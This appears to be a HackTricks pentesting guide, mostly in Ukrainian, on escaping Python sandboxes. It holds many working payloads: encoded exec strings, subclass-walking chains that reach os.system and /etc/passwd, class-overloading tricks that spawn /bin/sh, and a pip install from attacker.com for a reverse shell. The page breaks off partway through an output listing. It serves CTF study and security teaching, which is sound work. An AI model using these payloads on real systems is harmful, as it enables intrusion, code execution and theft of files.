# Обхід Python sandboxes {{#include ../../../banners/hacktricks-training.md}} Нижче наведені деякі прийоми для обходу захисту Python sandboxes та виконання довільних команд. ## Бібліотеки для виконання команд Перше, що потрібно з'ясувати — чи можна безпосередньо виконати код за допомогою вже імпортованої бібліотеки, або чи можна імпортувати будь-яку з цих бібліотек: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` Пам'ятайте, що функції _**open**_ і _**read**_ можуть бути корисними для **read files** всередині python sandbox та для **write some code**, який ви могли б **execute** щоб **bypass** sandbox. > [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes. Python намагається **load libraries from the current directory first** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) ## Bypass pickle sandbox with the default installed python packages ### Default packages Ви можете знайти **list of pre-installed** packages тут: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Зауважте, що з pickle ви можете змусити python env **import arbitrary libraries**, встановлені в системі.\ Наприклад, наступний pickle при завантаженні імпортує бібліотеку pip для використання: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` Для отримання додаткової інформації про те, як працює pickle, перегляньте це: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pip пакет Трюк, наданий **@isHaacK** Якщо у вас є доступ до `pip` або `pip.main()`, ви можете встановити довільний пакет і отримати reverse shell, викликавши: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py`, та вказати вашу IP для reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] > This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave. ## Eval-ing python code > [!WARNING] > Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator) Якщо певні символи заборонені, ви можете використовувати **hex/octal/B64** представлення, щоб **bypass** обмеження: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ### Інші бібліотеки, які дозволяють виконувати eval python code ```python #Pandas import pandas as pd df = pd.read_csv("currency-rates.csv") df.query('@__builtins__.__import__("os").system("ls")') df.query("@pd.io.common.os.popen('ls').read()") df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # The previous options work but others you might try give the error: # Only named functions are supported # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` Також див. реальний випадок sandboxed evaluator escape у генераторах PDF: - ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Воно зловживає rl_safe_eval, щоб отримати доступ до function.__globals__ і os.system через обчислювані атрибути (наприклад, колір шрифту) і повертає валідне значення, щоб зберегти стабільність рендерингу. {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} ## Оператори та короткі хитрощі ```python # walrus operator allows generating variable inside a list ## everything will be executed in order ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/ [a:=21,a*2] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` ## Обхід захистів через кодування (UTF-7) У [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 використовується для завантаження та виконання довільного python коду всередині, здавалося б, sandbox: ```python assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` Також можливо обійти його, використовуючи інші кодування, наприклад `raw_unicode_escape` та `unicode_escape`. ## Виконання Python без викликів Якщо ви перебуваєте в python jail, який **не дозволяє вам виконувати виклики**, все ще існують способи **виконати довільні функції, код** та **команди**. ### RCE за допомогою [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass # The previous code is equivalent to: class X: pass X = input(X) X = exec(X) # So just send your python code when prompted and it will be executed # Another approach without calling input: @eval @'__import__("os").system("sh")'.format class _:pass ``` ### RCE створення об'єктів і перевантаження Якщо ви можете **declare a class** і **create an object** цього class, ви можете **write/overwrite different methods**, які можуть бути **triggered** **without** **needing to call them directly**. #### RCE з custom classes Ви можете модифікувати деякі **class methods** (_by overwriting existing class methods or creating a new class_) щоб змусити їх **execute arbitrary code** коли вони **triggered** без їх прямого виклику. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: def __init__(self): self += "print('Hello from __init__ + __iadd__')" __iadd__ = exec #Triggered when object is created def __del__(self): self -= "print('Hello from __del__ + __isub__')" __isub__ = exec #Triggered when object is created __getitem__ = exec #Trigerred with obj[] __add__ = exec #Triggered with obj + # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor rce["print('Hello from __getitem__')"] rce + "print('Hello from __add__')" del rce # These lines will get RCE when the program is over (exit) sys.modules["pwnd"] = RCE() exit() # Other functions to overwrite __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Створення об'єктів за допомогою [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) Основне, що дозволяють metaclasses, — це **створити instance class без прямого виклику constructor**, шляхом створення нового class, у якого target class виступає як metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): __getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` #### Створення об'єктів за допомогою виключень Коли **виключення спрацьовує**, об'єкт класу **Exception** **створюється** без необхідності явно викликати конструктор (трюк від [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): __add__ = exec try: raise Klecko except Klecko as k: k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` ### Більше RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py # The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` ### Прочитати файл із довідкою builtins та ліцензією ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` ## Builtins - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) Якщо ви маєте доступ до об'єкта **`__builtins__`**, ви можете імпортувати бібліотеки (зауважте, що тут також можна використати інші строкові представлення, показані в останньому розділі): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### No Builtins Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, а також навіть читати чи записувати файли, оскільки **всі глобальні функції** (наприклад, `open`, `import`, `print`...) **не завантажені**.\ Однак, **за замовчуванням python імпортує багато модулів у пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також містять небезпечні** функціональності всередині себе, до яких можна отримати доступ і навіть досягти **arbitrary code execution**. У наведених прикладах ви можете побачити, як **зловживати** деякими з цих "**безпечних**" завантажених модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них. **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html help.__call__.__builtins__ # or __globals__ license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ print.__self__ dir.__self__ globals.__self__ len.__self__ __build_class__.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` [**Нижче є більша функція**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **builtins**. #### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` ### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` ## Globals and locals Перевірка **`globals`** і **`locals`** — хороший спосіб дізнатися, до чого ви маєте доступ. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] # Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Нижче є більша функція**](#recursive-search-of-builtins-globals) щоб знайти десятки/**сотні** **місць**, де ви можете знайти **globals**. ## Виявлення довільного виконання Тут я хочу пояснити, як легко виявити **більш небезпечні функціональності, що завантажені** та запропонувати більш надійні exploits. #### Доступ до subclasses з bypasses Одна з найчутливіших частин цієї техніки — можливість **access the base subclasses**. У попередніх прикладах це робилося за допомогою `''.__class__.__base__.__subclasses__()` але існують **інші можливі способи**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" # You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() # This can be useful in case it is not possible to make calls (therefore using decorators) ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec #If attr is present you can access everything as a string # This is common in Django (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` ### Знаходження небезпечних бібліотек, які завантажені Наприклад, знаючи, що за допомогою бібліотеки **`sys`** можна **import arbitrary libraries**, ви можете шукати всі **modules loaded that have imported sys inside of them**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` Їх багато, і **нам потрібен лише один**, щоб виконати команди: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` Ми можемо зробити те саме з **іншими бібліотеками**, які, як відомо, можуть використовуватися для **виконання команд**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Крім того, ми навіть можемо знайти, які модулі завантажують шкідливі бібліотеки: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **відфільтрувати за назвами функцій** всередині можливих бібліотек: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pip: pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen call: CompletedProcess, Popen Popen: CompletedProcess, Popen spawn: import_module: __import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, 